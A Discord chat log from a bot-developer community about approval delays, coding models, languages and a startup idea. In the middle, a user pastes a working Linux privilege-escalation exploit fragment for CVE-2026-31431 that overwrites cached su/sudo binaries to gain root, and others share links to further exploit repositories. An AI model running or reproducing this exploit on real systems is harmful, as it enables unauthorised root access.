development

[neon flicker]

Back then in 2021-2022 it took like a month or more

Alright now I'm glad to know that

[prime cliff]

You've been in here since 2024 though xD are u a spy monkas

[neon flicker]

Aw nope, I've switched between a lot of accounts

Not me definitely coming back to the least profitable kind of development (Discord bot development) in 2026 though

But it is still possible to build up a network through Discord bot development if you do the right choices though

So yeah, it's fine as long as it's fun anyway

[neon leaf]

https://www.githubstatus.com/incidents/zsg1lk7w13cf

has to be ragebait

[lyric mountain]

experienced a regression affecting merge queue operations

scary stuff

[neon leaf]

yeah

broke entire repos

[frosty gale]

will happen more now that were vibe coding

vibe coding is like fast food, too much is bad but none at all is boring af

[prime cliff]

This Discord outage is sponsored by Vibe Code

[lyric mountain]

what fears me more isn't losing my job to AI, it's having to clean AI's mess with a lot of technical debt

we all know it'll be filled with "temporary" solutions

[wheat mesa]

can confirm as someone who deals with this at my job every day, it’s a pain in the ass

Agentic coding has gotten a lot better with Sonnet 4.6 but it’s still riddled with problems when the code isn’t reviewed carefully

[slender wagon]

I need to shart

Shard*

[slender wagon]

U mean opus

I’d only use sonnet for really simple questions

Opus will look into your code and reason with you

[twilit compass]

my bot got declined exactly when our data-center went in maintenance xD 😭

[stark kestrel]

you can add it to the reviewer notes if it's a planned maintenance

[twilit compass]

w8 where you add that?

ah i see

[wheat mesa]

Opus is good at planning Sonnet is better for implementation

Build plan with opus -> hand it off to sonnet

[slender wagon]

Oh i didnt know that

[wheat mesa]

Opus is technically fine for implementation too it’s just expensive af

[frosty gale]

i only do that on the company dime

[wheat mesa]

Yeah I don’t pay for any models outside of company dime

It takes the fun out of it for me

[long phoenix]

@wheat mesa hey can you add my bot to server

I m trying to get 10 server you can try that at my server

[deft wolf]

From all of the people here you decided to ping waffle for that

His message was the latest one I guess

[wheat mesa]

no

[quartz kindle]

im considering switching from claude code to gpt codex, i've been enjoying codex much more lately

[long phoenix]

Hi can you test my bot

[deft wolf]

Now Tim 😭

[quartz kindle]

kurwa

[long phoenix]

Would you like to test my bot with powerfull 600 command

[quartz kindle]

no thanks

[long phoenix]

Alr

[long phoenix]

Would you like to test my bot?

[quartz kindle]

lmao

[deft wolf]

Make it 670 commands and maybe I will test it

Otherwise no

[long phoenix]

It's harder

[long phoenix]

Sorry I can't do taht

[deft wolf]

You made 600 commands but you can't make 70 more?

[wheat mesa]

With 600 commands the bot better do EVERYTHING for me

[deft wolf]

Maybe it does but you didn't want to test it 😭

[wheat mesa]

600 commands that I won’t end up using any of 🙏

[queen needle]

Will it do my stats exam 😭

[deft wolf]

Maybe, if you give it a try

[swift barn]

Bro has testers already

[slender wagon]

Is it just me or has discord started to freeze alot lately

It might just be that i need a new phone

[neon leaf]

https://copy.fail/#copy-fail

ok who disabled embeds 🥀

[deft wolf]

Tim

[quartz kindle]

yes

[frosty gale]

holy fuck this is really bad

i tested it on my wsl and it worked

but funnily enough on my production server i hardened it really well so the exploit doesnt work bc i blocked off su

~$ python3 test.py
Traceback (most recent call last):
  File "/home/xxxxxxxx/test.py", line 8, in <module>
    f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
PermissionError: [Errno 13] Permission denied: '/usr/bin/su'

[neon leaf]

I suppose this doesnt affect non-root containers with no bind mounts?

[frosty gale]

depends on what you mean non-root, do you mean something like podman where the containers physically run as non root?

[neon leaf]

nope, where the main code in the container runs as e.g. 1001

with regular docker

[frosty gale]

nevermind i modified the script to use sudo instead of su and it works 💀

$ python3 test.py
# whoami
root

though i did also disable sudo on service accounts so not sure if its all suid binaries or sudo/su in particular

[frosty gale]

in theory i'd imagine you would be fine but i would do a test to be sure

issue with this exploit is that its extremely easy to use so have at it

[neon leaf]

I didnt actually take a good look yet, is this directly related to sudo/su or not really?

[frosty gale]

i think its a lot worse

it lets a non-root user modify the page cache

so you can modify any file in the kernel cache without root

[neon leaf]

ah I see

[frosty gale]

i executed the exploit again unknowingly by just using sudo that i used the tool on, sudo itself wasnt modified on disk but the cached binary was

yeah this is really really really bad

[neon leaf]

weird that I barely saw any coverage on it

[frosty gale]

about as bad as the dirty pipe linux vuln a couple of years ago

[neon leaf]

its like a week old now i think

[frosty gale]

thats very strange

even weirder is that debian doesnt have a patch for it yet, at least on my server

is there something im missing

[neon leaf]

maybe you are dreaming

maybe im not real

but wait, if you can modify the page cache, I dont see why you couldnt escape containers

i will try some stuff

[frosty gale]

tbh im not sure but worth experimenting on

i wonder if android can be exploited using this but probably not since its locked down to hell

[neon leaf]

cannot get it to work in a container sadly, atleast not unmodified

[frosty gale]

cant on android either, sockets are locked down whic is what this vuln uses

[neon leaf]

nvm 💀

[frosty gale]

what a strange exploit

 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

[neon leaf]

💀💀💀

💀

💀

[frosty gale]

apparently authencesn seems to be the culprit

[neon leaf]

just tried on a slightly older kernel

[frosty gale]

yeah apparently all since 2017

• bar hardened kernels

[neon leaf]

yeah i was testing on linux 7 before

can you try on linux 7?

[frosty gale]

on reddit:

I will observe that sensible container designs do not mount host binaries into the container.
i think if you dont mound any suid binaries into your container you should be ok, but you might still be able to modify mounted files in the page cache

[neon leaf]

yeah doesnt seem to do any magical things

aka cannot read device nodes

root@a260cbda0555:/tmp# cat /tmp/t
cat: /tmp/t: Operation not permitted

[slender wagon]

What happened?

[neon leaf]

I suppose could be worse

people who use linux accounts for seperation exist but arent that common anymore

containers on the other hand

[slender wagon]

Jarvis summarize this chat

[stoic bough]

from my non-technical perspective seems like an exploit that grants sudo access to things that don't necessarily need it

[frosty gale]

yeah you still need an entry point like a compromised service, i run mine either as non-root podman containers or restricted using apparmor (apps have strict profiles so they cant open or execute arbitrary files not already allowed) so i think i should be good for now

though a lot of attackers find entry points like this and wait for a while for vulnerabilities such as this to actually do anything

but luckily we're not important enough for that to probably be the case

[neon leaf]

https://github.com/theori-io/copy-fail-CVE-2026-31431/issues

there seem to be a few kernels that fail

[frosty gale]

Yes — it's on this page. We held it for a month while distros prepared patches; the major builds are out as of this writing.
??? how come my debian doesnt have a patch yet then

[neon leaf]

L

you hardened it too much 🙏

[frosty gale]

lol

i see others complaining about no patches yet either so i think maintainers are just slow or received less notice

[neon leaf]

i doubt debian wouldnt get a notice

u sure u dont have some cursed config that disallows new packages?

[frosty gale]

i wonder if its because im using hetzner as a mirror

meh no idea but im going to look into it more

[neon leaf]

@frosty gale https://security-tracker.debian.org/tracker/CVE-2026-31431

I hope im not reading this correctly

[frosty gale]

yeah they havent patched it yet

that explains it

only the latest test releases are patched

thats weird

[frosty gale]

@neon leaf apparently a lot of distros havent patched it yet because the distros are being naughty with kernel versions

they tend to maintain older versions of the kernel and only patch/backport important bug fixes which means it takes ages to patch anything

they got called out for this by the kernel team
https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T/#u

unusual debian L

[slender wagon]

These vulnerabilities are getting very annoying

Most of these are def assisted by AI

[neon leaf]

they answer that one their site, the initial entrance was found by a human, the exploit by an ai

[robust garnet]

how long do privileged intent applications take and is there a way to confirm it got successfully received by discord because i feel paranoid after a week that it never got sent

[lament rock]

1 month

They'll email you

[robust garnet]

🥹

[deft wolf]

And it's not even a joke

That's the worst part

[robust garnet]

Multi million company btw

[slender wagon]

its been almost a month for me

sent them on 3 apr

[robust garnet]

Did it get reviewed

Now

[slender wagon]

nop

no answers

[robust garnet]

💔

I'm tempted to write another application but its risky

[slender wagon]

i sent 2 total

the second one i sent it 2 weeks from my initial one

[robust garnet]

Aw man

Yea gg I might have to unlist my bot from top.gg

Till it gets accepted

???

[deft wolf]

Bro is kanye fan

[robust garnet]

Sonion

[deft wolf]

@knotty night

[robust garnet]

This is so corny 😭

You putting bad name to war thunder players

Okay hes gone

Wow

I look like I'm talking with myself

[slender wagon]

do all your features require the intents?

[robust garnet]

Yea it basically can't function without it

Sad

Like it's a calling bot between servers and for relaying the messages of users, it needs the message content intent

[frosty gale]

its a double edged sword though, on the other hand pentesters can use AI to find vulnerabilities before attackers do and get them patched

eventually we'll reach an equilibrium where AI can't find anymore vulnerabilities and its back to human researchers again to push the wheel

... or humans build a better AI

all things LLM and AI eventually tend to come back to humans one way or another I found

[slender wagon]

scary stuff

i am SO glad i learned rust. I can't imagine what my current project would look like if it was made with nodejs

npm has been such a pain to maintain

[frosty gale]

rust users realising the libraries they are using are most likely using unsafe code

[neon leaf]

jokes on them I use it myself 😎

[frosty gale]

https://giphy.com/gifs/falling-man-im-dead-skeleton-NEAh5nxOe7rFGB4aQ5

the only part of my serious rust project i use unsafe in is to load the config at startup without using a lock

[neon leaf]

this code just crashed one of my prod nodes 🤞 https://github.com/mcjars/www/blob/main/backend/src/files.rs

dont need unsafe to write unsafe code 🔥

but yeah my only prod unsafe usage is config loading too

[frosty gale]

disgusting

[neon leaf]

https://github.com/mcjars/www/blob/main/backend/src/files.rs#L108-L186 would beg to differ

either way I should probably like make this code not be cursed

no vision for it yet though

and yeah ig i can replace the dyn with an enum if the bills are that high

🙏

[slender wagon]

jarvis rewritte tokio, make no mistakes. Make sure it has no vulnerabilities

[neon leaf]

rewrite rustc please so it finishes compiling before I pass 🙏

[slender wagon]

https://www.youtube.com/watch?v=Gv4sDL9Ljww

[neon leaf]

ive moved from writing unsafe code to making unsafe electrical circuits

🙏

[frosty gale]

bro

[warm surge]

bro @noble hatch

[frosty gale]

these scams are so shit

someone that falls for one of those i dont think should be allowed to drive a vehicle

[stoic bough]

Thinking of designing and building a transport handler framework in node. Naming it cAPI. basically just lets you write once and use it anywhere.

you would just write plain functions and hook them into whatever transport you want, http, ws, rpc, jobs, cron etc

[cold sorrel]

I just found out there's

14 bugs on my bot

[frosty gale]

least buggy discord bot

[cold sorrel]

I found

I came

I fixed it

[cold sorrel]

I fixed like

46 bugs

In a single day

I'm a freaking genius

[deft wolf]

How do you end up with 46 bugs in first place

You have to be doing them on purpose or you count any typo as a bug

[cold sorrel]

PostgreSQL and Python problems

how do yall put overlay images ontop of embedded images

I just installed pillow

[frosty gale]

@neon leaf the goobers finally patched it on debian

the update automatically installed (as i configured it to do) but for some reason no automatic restart

need to figure that one out

[neon leaf]

wow

[ashen notch]

Hi guys, do you know if it's possible to make a Discord bot stream and share something?

[deft wolf]

Nope

Meaning it's not possible

[ashen notch]

Okay thanks

[neon leaf]

https://github.com/RoaringBitmap/croaring-rs

[strong creek]

i'm having the exact same issue. it's really starting to piss me off

33 days and climbing

i sent them a follow-up last night, this is what i got in return.

closed with no reply

[deft wolf]

Poor Don Jinwoo

[prime cliff]

You got the unlucky side of support congrats 👏

[slender wagon]

This kind of delay makes me thing they plan to change certain things

Cuz why???

[frosty gale]

don jinwoo sounds like a name of an ai agent

[slender wagon]

he just messaged me as well

can someone send the link to the discord developers server

[deft wolf]

it's /discord-developers iirc

[strong creek]

It just infuriates me because nobody should have to wait 30+ days while getting their app restricted

[deft wolf]

I ain't testing top.gg's automod

[strong creek]

They need to take responsibility for their own internal issues and stop taking it out on the community

[neon leaf]

discord.gg/discord-developers

I am testing it

[deft wolf]

That's bold move

Ngl

[frosty gale]

jinwoo is going to get it

[slender wagon]

thenk

[neon leaf]

yes see nynu I'm better

[deft wolf]

Me when I google "Don Jinwoo" and I'm getting some solo leveling wiki entries

Indeed you are

Well, at least he's real

[neon leaf]

i love that php [] can be [] and {}

definitely doesnt make me cry every day

[forest osprey]

Are we allowed to like get beta testers

[deft wolf]

On this channel?

[frosty gale]

c# as well kinda although they technically have different meanings

i dont like languages that cant make their mind up

[wheat mesa]

Genuinely one of the worst design decisions ever made

“Arrays are just objects but their keys are numbers! But also an object is different from an instance of a class in the way you are allowed to access its properties”

FUCK php

[neon leaf]

see, I wouldnt even care because I barely write php

BUT

some stupid apis think its funny to return arrays instead of empty objects sometimes

yet document it as objects

[wheat mesa]

PHP should’ve been left behind 10 years ago

[neon leaf]

I fear its never going away

its just so convenient for most people

there is no real alternative I dont think

technically nginx has js/lua module stuff but lets be serious 90% of people in here have never heard of it even less used it

[frosty gale]

i would never contaminate my beautiful innocent nginx instance with runtime lua execution

[neon leaf]

i used to do runtime bash with nginx

👍

sadly lost the codebase, but it was a full multiplayer lobby implementation lol

I only have the video of it left on yt

https://www.youtube.com/watch?v=MlrBaF14aok

[lament rock]

Why would you ever let nginx do the templating

[frosty gale]

probably for the best brocacho 😭🙏

[neon leaf]

nah

wouldve had fun to relive it

also did a youtube clone with this bash nginx stuff

at a smooth 15fps on 144p (tho i blame pocket code for that)

[deft wolf]

Thanks for that random screenshot without a context

[late flicker]

😔

[slender wagon]

Approaching 1K servers
Fir 2 months!
Im happii

[narrow glacier]

Good job, I've just started to grow mine

[slender wagon]

Are u the OG callum that used to be here

Or someone else

[narrow glacier]

Someone else 🙂

[slender wagon]

Ah ok

[slender wagon]

Sendd ittt

[narrow glacier]

The topgg?

[slender wagon]

No it like

Keep it up

Yk

[narrow glacier]

ahh yeah

hard to grow at first

hit 20 servers last night so im starting

[slender wagon]

Ggs

[deft wolf]

I hope it's a joke

It has to be... right?

[frosty gale]

what is this

oh its a haha image lmao

[slender wagon]

has any of u looked in claude design?

[neon leaf]

yes

pretty decent if you already have a good figma template

[lament mist]

Are you looking for a host or what?

[slender wagon]

Yeah i figured

[slender wagon]

Huh?

[lament mist]

Sorry, since you talked about Claude, I thought you meant hosting

[deft wolf]

I wonder how is claude related to the hosting

[lament mist]

Forget what I said, sorry for intruding

[slender wagon]

😭 poor guy

Its ok

[slender wagon]

I tried without figma. And it just gave a generic AI slop website

[neon leaf]

yeah

[slender wagon]

Idk why AI loves those rounded pill buttons

And it makes it chonky

[deft wolf]

They are ✨ fancy ✨

[slender wagon]

[neon leaf]

https://github.com/talkie-lm/talkie

[slender wagon]

Okay

[slender wagon]

https://tenor.com/view/why-is-he-lying-wong-gif-5558347777370316415

[deft wolf]

What if it just knows more and the government is lying to us about fast trains

AI is never wrong, that's a rule

[frosty gale]

https://giphy.com/gifs/speed-ishowspeed-yapping-gVlDL0Ybb83yTNLyaF

i thought i was a yapper until LLMs existed

atp i think its just a big ploy by the big AI to waste your tokens

[slender wagon]

I think about this often

[neon leaf]

im my experience building ai from scratch its really hard to know when to even end a response

[frosty gale]

building AI is really easy wdym

they literally did it in 1966

https://giphy.com/gifs/troll-victim-5-uncanny-OQGydAY9GPmUWn8U3a

[plain cedar]

[frosty gale]

https://www.npmjs.com/package/goonlang

[warm surge]

what the fuck is this?

[delicate zephyr]

Hi webster

[warm surge]

yo

[frosty gale]

GoonLang

[warm surge]

https://tenor.com/view/goober-goober-spotted-jarvis-goober-spotted-iron-man-goober-spotted-gif-16236198662133314025

https://tenor.com/view/goon-alert-gif-14317033356293330298

[slender wagon]

how bad is this first is total server added (even the ones that kicked it)

[scenic adder]

Wtf

https://tenor.com/view/windpress-xqc-caseoh-goon-gooner-gif-14051002228564154631

[eternal osprey]

hey guys, for my machine learning model i am using StratifiedGroupKFold Cross validation. I was wondering, should i first seperate the dataset in a 80/20 split using GroupShuffleSplit?

[eternal osprey]

for anyone interested:
yes, that is needed else you get optimization bias.

[neon leaf]

nice work with the translations google

[deft wolf]

Ok

[lunar meadow]

For Python, does anyone have a small tip for adding roles for certain commands that users can implement themselves? Forgot since my bot was private, I set it up only for my server

[frosty gale]

OkLang

not a bad language name

[neon leaf]

https://datatracker.ietf.org/doc/draft-ietf-quic-multipath/

[lunar meadow]

Where i setup my bot for just my server, gord i gotta change like 600 lines of code so it can be used in other servers...

[warm surge]

just make another bot (lot easier this way) and use it for your server only

[terse tulip]

Who knows how to create a BSC network token?

[crystal wigeon]

fkin djs, 0 backward compatibility, every fkin version they have breaking changes

what is this man wtf

i cant even update

[sharp geyser]

Still surprised people use djs to this day, older bots sure

but I thought by now people just make their own wrapper

[prime cliff]

You can't just make a new lib as simple as that especially not Discords api

[crystal wigeon]

my bot is 6 years old yea, I havent been able to update since djs 13

[stoic bough]

Designing things without accommodating for future changes is bad design choice. And djs isn't even a bad library to use. It's well maintained and always trying to update their library with new api features and updates.

[lyric mountain]

djs.cache surely is.cache a good.cache library.cache

[stoic bough]

oh i dont use inbuilt djs caches. thats one thing I dont like about the library

I make my own

for small projects its fine

but if you need full control over it they have sweepers and defaults you can mangle with

[neon leaf]

I just found out rust does not consider a variable unused if it has a TODO: comment

[brazen rose]

gday

[neon leaf]

also I just found out "Heisenbug" is a real term for bugs that disappear when observing them

[pearl trail]

wth this is the first time i got charged 14 cents on my prepaid just to get otp to my phone number. the app is from government

[crystal wigeon]

anyone know how to handle button click interactions for components v2 if i send the payload using discord api? whats the best way to handle these? if i wanted to use interactions via http. Do i store the callback and message in in some state?

[lament rock]

You can store state info in the custom ID. You pretty much always want to handle the interactions from the http webhook instead of over the gateway as a bad timed gateway op resume can immediately disqualify you from the chance of responding on time

[frosty gale]

tried to ask chatgpt whether my car's digital key unlock implementation is known vulnerable, proceeded to accuse me of hacking despite never asking for specifics, then proceeded to gaslight me saying it never accused me of hacking 🤦‍♂️

claude answered the question with no issue

6/10 ragebait openai

[slender wagon]

Most of the people that get in my yaris figure out how to turn it on

U have to press the clutch all the way in

[slender wagon]

What’s the difference between that and the old unlock signals

[neon leaf]

Total reclaimed space: 339.1GB

is this enough for a single docker system prune? 🫠

[frosty gale]

no

[frosty gale]

older ones tend to use broken algorithms/crypto algorithms which means in theory anyone can rock up to your car, unlock it and start the engine and drive away without your key

though this usually tends to be exploitable if an attacker can sniff the traffic between the owner's key and car and gain enough info to infer the secret of the owner's key

there's not much talk about this but i think many older cars are vulnerable to just this and no ones paying much attention

[slender wagon]

maybe i need a new car afterall

[frosty gale]

although i think immobilisers tend to use different secrets so even if you sniff the door opening sequence you wont have the immobiliser secret unless you're right next to that person starting a car

need to learn more about this

[crystal wigeon]

Is there an example somewhere?

[neon leaf]

@frosty gale

[frosty gale]

lmao

thats why i disable memory always

[neon leaf]

yea

I wonder how it fetches this

or if it just makes my context fill up faster

[slender wagon]

Light theme is crazy

[neon leaf]

ok buddy 🥀

[wheat mesa]

Either it’s just all thrown in the context window or it’s fetched via RAG

[frosty gale]

yeah what i was about to say

probably rag since you can have thousands of memories and it just works without wasting context

[neon leaf]

😭

lets just hope it knows my name because its injected into the context window, because I definitely never told it lol

@frosty gale it seems like claude is making the LLM confirm whether a request is bad

seems very exploitable to me

[tardy latch]

is anyone good with dpy
like clustering
cuz my bot is gonna get a ton of traffic and can break
🥀

copy paste

[frosty gale]

i think gemini does this too

[neon leaf]

i dont believe suchj

[frosty gale]

i have seen in some of its reasoning thingies where it specifically analyses the safety concerns of a request

[neon leaf]

i think its different for age-related infractions

[frosty gale]

anyways stop trying to hack someone

poor claude just wants to help

[neon leaf]

🥀

"poor" claude just ate 20% of my weekly limits

[hard zenith]

I’m at 80% of my weekly. Luckily it resets Saturday

It says “you are out of extra storage. Your limit resets on Saturday at 10pm” but yet when I check usage it says “80” so I’m like… visual bug?

[frosty gale]

@neon leaf lmfao

[neon leaf]

damn

why are you on the old defender ui

[frosty gale]

why is windows defender even caring about what is in wsl

bruh idk this is what i get given

[deft wolf]

Bro has windows from temu 🥀

[frosty gale]

bruh what is wrong with my windows 💀

looks the same on my laptop as well

[stoic bough]

its a great hiding spot for malware

[neon leaf]

Ive seen malware create hyper-v vms to mine crypto

so yea

[stoic bough]

ive seen people disable it to make downloading packages faster but the tradeoff isn't really worth it for the protection you lose

as in, I've seen people talk about it a lot in forums and discussions

[lyric mountain]

just go linux

[eager trail]

temu's final boss

[lament rock]

Jumping ship to linux. Sufficed you arent into VR gaming, the switch is pretty painless. Trying out CachyOS

[lament mist]

Hello

[graceful spoke]

Hi

[lament mist]

How's everything going?

[neon leaf]

@frosty gale another one https://github.com/V4bel/dirtyfrag/tree/master

including on linux 7

[neon leaf]

and https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo

[pearl trail]

except if you got virus, you wipe everything /j

[neon leaf]

@frosty gale this is ridiculous lol https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 / https://www.openwall.com/lists/oss-security/2026/05/07/12

[primal fog]

Hey lately i was thinking of making a tiny rpg for discord to focus a bit more on guild v guild aspect without cluttering it with tons of commands

Is an rpg bot still a good idea or am I entering a dead space?

[frosty gale]

these are insane lmao

linux team needs to be a lot more careful with their patches to exploits since each new patch is going to be under scrutiny

[slender wagon]

discord breaking

[deft wolf]

Not first time, not the last one

[rich whale]

what does it mean that my bot must have at least 1 "feature" ?

[crystal wigeon]

man fuck djs

worst

[deft wolf]

This means that your bot could do something which does not necessarily have to be a command. For example, your bot may have an automod or invite tracking function

[robust garnet]

@slender wagon is it done yet

[slender wagon]

No

Still waiting

[upbeat trail]

can someone help me with this.. i have tried refreshing multiple times and wait for days to update.. but it is still showing 1

while my bot is in 19 servers

atm

[low raptor]

@upbeat trail Hello, you need to manually post the server count for it to update there.
https://docs.top.gg/api/v1/projects#patch-/projects/@me/metrics

[upbeat trail]

okay.. just make ensure that does it need my bot to be frontend available since my bot is purely backend..

[low raptor]

What do you mean exactly?

You need to call this api in your backend to post your server count.

[upbeat trail]

ah alr alr..
i meant att like do i need webhook or some for that on my end..

[robust garnet]

😭

[low raptor]

You can just make a HTTP request to that route to update your server count

There are also libs that allow you to do it https://docs.top.gg/libraries/javascript

For example the JS lib here

[frosty gale]

genuinely though what do you do in that situation

i'd just call it company portal

[deft wolf]

Ain't no way someone is worrying about using CP as acronym

[neon leaf]

"can I please get the link to the .."

[deft wolf]

Well, context matters

I would never think of someone asking for that, that would be braindead thing to do

[upbeat trail]

oh thanks.. i'll check..

[slender wagon]

anyone going to the web summit?

[robust garnet]

wait time so long i ended up making another bot

[slender wagon]

Lmao

Its crazy man

[neon leaf]

cool

[neon leaf]

@frosty gale https://ze3tar.github.io/post-zcrx.html

[loud canopy]

can a bot have a rich presence like a game or the rpc tool one for normal users?

[lament rock]

No. Rich presence is totally disabled for bots. The closest you can get is when you are streaming and provide a valid twitch url, there is a button to go to the stream

[loud canopy]

yeah i figured i ended up like

this, it’s cute so it’s okay

it updates each 60 seconds hopefully is not a big deal

[stark abyss]

yoo developers i have a website idea, anyone want to hear it? NO THIS IS NOT AN ADVERTSIMENT MODS, its an idea im tryna validate

[queen needle]

wdym validate

[deft wolf]

Just make it and maybe someone will use it, who knows

[stark abyss]

validate meaning validate

Validate means to confirm, prove, or substantiate that something is true, accurate, legitimate, or officially acceptable

or worth y

[queen needle]

What's the idea

[sharp geyser]

self hosting bitwarden was actually really easy

Got it up and running within 5m

SSL and SMTP too

[frosty gale]

dont you have to pay to self host bitwarden

[frosty gale]

linux kernel is cooked

moving to windows server as we speak

[neon leaf]

already like this at work 🙏

only 1 of 300 customers has a proxmox server

[frosty gale]

good

what do silly open source projects and contributors know about safe code

silly C programmers they should be using Rust™ with a reliable LLM to guarantee safe implementations every time

[upbeat trail]

y'all.. is there any free discord bot hosting platform who's giving generous free plan includes good cpu usage limit? not 15-25%..

[lyric mountain]

ur asking for the location of eldorado

free will always be either shitty or have limited uptime

if it's neither then it's a scam

[upbeat trail]

damn it.. thing is my bot has got good traction (300 players at the moment) and as per that.. bot is sometimes exceeding 15% cpu usage limit underload.. only cpu usage is the issue underload..

[lyric mountain]

you'll have to go paid eventually

[upbeat trail]

rest of the things like memory is still enough..

[upbeat trail]

yeh.. i earn nothing from bot yet.. so thats the issue here

[lyric mountain]

gonna be honest, dont expect the bot to pay for itself

very few bots reach that point

[deft wolf]

Treat it as a hobby, it will be easier

Also paying bare minimum (2-3$/month) for a proper server to host your bot would remove most of the headache from free hosting limitations

[neon leaf]

atleast for me, back then the issue wasnt the cost, it was being able to spend money online at all

[sharp geyser]

As far as I know no

Only the hosting provider

At least I’m not paying anything

[stark abyss]

AI-powered platform that helps young adults turn big goals into clear, realistic action plans. It guides users through career, financial, and personal growth by breaking overwhelming goals into smaller daily and weekly steps. The goal is to give people a smarter system for staying focused, making progress, and building the future they want.
like 3 tools into one system, goals, financials, calendar. One can trigger the others

[wheat mesa]

AI-powered in what way

[stark abyss]

You write "I want to become a nurse"
GOALS: breaks it down to actionables and deliverables (editable)
Finance: Automatically creates a goal if you want (uses plaid to connect bank, credit cards) recommends putting x amount of money for college based on income if thats where you are at (there is a questionnaire before this)
CALENDAR: questionnaire and then blocks study time
not the best example but you can understand what im tryna create

[wheat mesa]

I mean it could be a good idea if implemented correctly, but what you're really going to fight here is the business model

[stark abyss]

yeah its for highly ambitious people only

i dont think its profitable tbh

[wheat mesa]

LLMs are expensive to run & most people that need help breaking down financial goals like that probably aren't willing to pay the cost that it would require to keep you afloat

[stark abyss]

i was just tryna create for myself but thought maybe its worth it for others too

[wheat mesa]

If it's for a personal project go for it

I just wouldn't expect to monetize it, at least for MVP

[stark abyss]

better example

100x more detailed obviously

[wheat mesa]

Ehhhh I don't really see what sets this apart from something like just asking Claude or ChatGPT the same question

The only real big difference is the UI

[stark abyss]

RAG on legally obtained textbooks to improve chatgpt api calls to make it better

small library

very very small

[wheat mesa]

Why would you need textbooks?

[stark abyss]

for example i wanted to become CFP it can generate better instructions and steps that are most up to date as long as i update the book and info

just thinking through my idea okay?

[wheat mesa]

No no I'm not hating on it or anything, I'm just trying to ask questions to lead you to refinement of your idea

[stark abyss]

high cost with low return is that what you are saying?

[wheat mesa]

Yeah. Acquiring users to something like this is going to be very difficult

[stark abyss]

yeah people are never this structured anyways in reality

[wheat mesa]

It requires the user to provide a lot of context themselves. Explaining their entire financial picture & their goals to an LLM is going to be difficult

There's a lot of moving parts with something like this, but the idea itself isn't bad

I think you should try to find something that is UNIQUE about this idea and focus on that if the goal is to make it into a business/generate revenue

There is a billion LLM-based tools but the ones that win are the ones that are easy to use, unique, and solve a real problem

[stark abyss]

well three apps right
goals
finance: this is going to be also about user providing bank, credit card, using plaid api
calendar

[stark abyss]

true

[wheat mesa]

You might also have a big problem with privacy here, given that a lot of people aren't going to want to give access to their bank account's detailed statements if it's being fed into an LLM

[stark abyss]

true but i have seen other apps do it

maybe ill just build the app for myself like my initial plan, allow a small limited of friends to use it

[wheat mesa]

Making a system like this easy to use should be your biggest priority

Definitely play around with the idea to see if you can solve/automate any pain points that people have around setting goals & achieving them

[stark abyss]

okay okay sounds good, thanks for the feedback

😄

hard to get feedback these days lowkey

[prime cliff]

Ah yes "seen other apps invade privacy with AI" just like all the other companies totally fair right? Hahaha

[stark abyss]

its not invading privacy if the user is consenting to it..

[prime cliff]

It could be breaching other regulations or data protections though like the GDPR

[stark abyss]

Origin has its own CFP ai and its on appstore and a website so can i just assume its not breaching anything

i personally use it

[prime cliff]

Well that's the thing with AI being unregulated it's all grey area

[stark abyss]

just dont use the app then...? i am not hiding the fact that ai is gonna use your data to help you manage your financials cuz you seem to buying too much boba lately

wait does that sentence make sense?

i am a llm myself LOL

since english isnt my first language

[lyric mountain]

make sure you have a VERY strong and bulletproof terms of service tho

[stark abyss]

sure thing but again this is an idea... im just tryna get feedback on it

[lyric mountain]

since it's an app about financial advice

otherwise you could face serious lawsuits

[stark abyss]

yeah i understand that

so like you want to give feedback on the idea or no..?

[wheat mesa]

I couldn't see myself using an app like that personally

[stark abyss]

okay so i got 1 out of 16 people who said yes to using it so far

[lyric mountain]

2

oh wait

1 out of 17

misread that

[stark abyss]

i got happy for a second...

[wheat mesa]

Not just because of privacy concerns, but also because I feel like it might just be too much effort for me to use

[lyric mountain]

I just dont like ai using any of my data

[stark abyss]

its aimed at highly ambtious people who want to be rich/go in stem degree or something more diffuclt

[wheat mesa]

I think that if people aren't capable of planning out a big picture of their goals/finances to begin with, an app isn't going to change the habits that led them to that lifestyle anyways

I think your target audience might be backwards

People that are using AI to plan out their life goals & financial goals for them are probably not super ambitious, but the opposite

[stark abyss]

so like i want to be CFP --> shows details of how much effort you need to put in ---> they decide to continue or not

[wheat mesa]

I think if you're ambitious and motivated about something, then you're going to put in effort to plan it out

[stark abyss]

build around that idea

[stark abyss]

i have crazy ideas tho, at one time i want to be CFP, other times CPA, other times real estate broker

[craggy pine]

I feel like ambitious people in terms of fianances or atleast the whole "getting rich" aspect would rather go to people instead of A.I for financial advice since the person has real world experience especially if they have the proof their fiancial plans actually do work.

[stark abyss]

i can quickly see how much effort each needs and time and financials to provide for courses etc

[wheat mesa]

^^

[stark abyss]

hmm ok

so 18 no out of 19 not liking the stats too much

[wheat mesa]

I use AI for looking at high-level overviews of what I need to do to accomplish certain goals, but I wouldn't pay for a SaaS that does it for me.

[lyric mountain]

I only use ai for stuff I literally dont know what to search for

[stark abyss]

but its detailed.. helps you budget, create a financial goal, blocks study time / etc

[craggy pine]

Maybe im just apart of the negative nancy side of things when it comes to A.I but I personally think A.I is heavily bloated and I'd rather see projects using it less or not at all.

[wheat mesa]

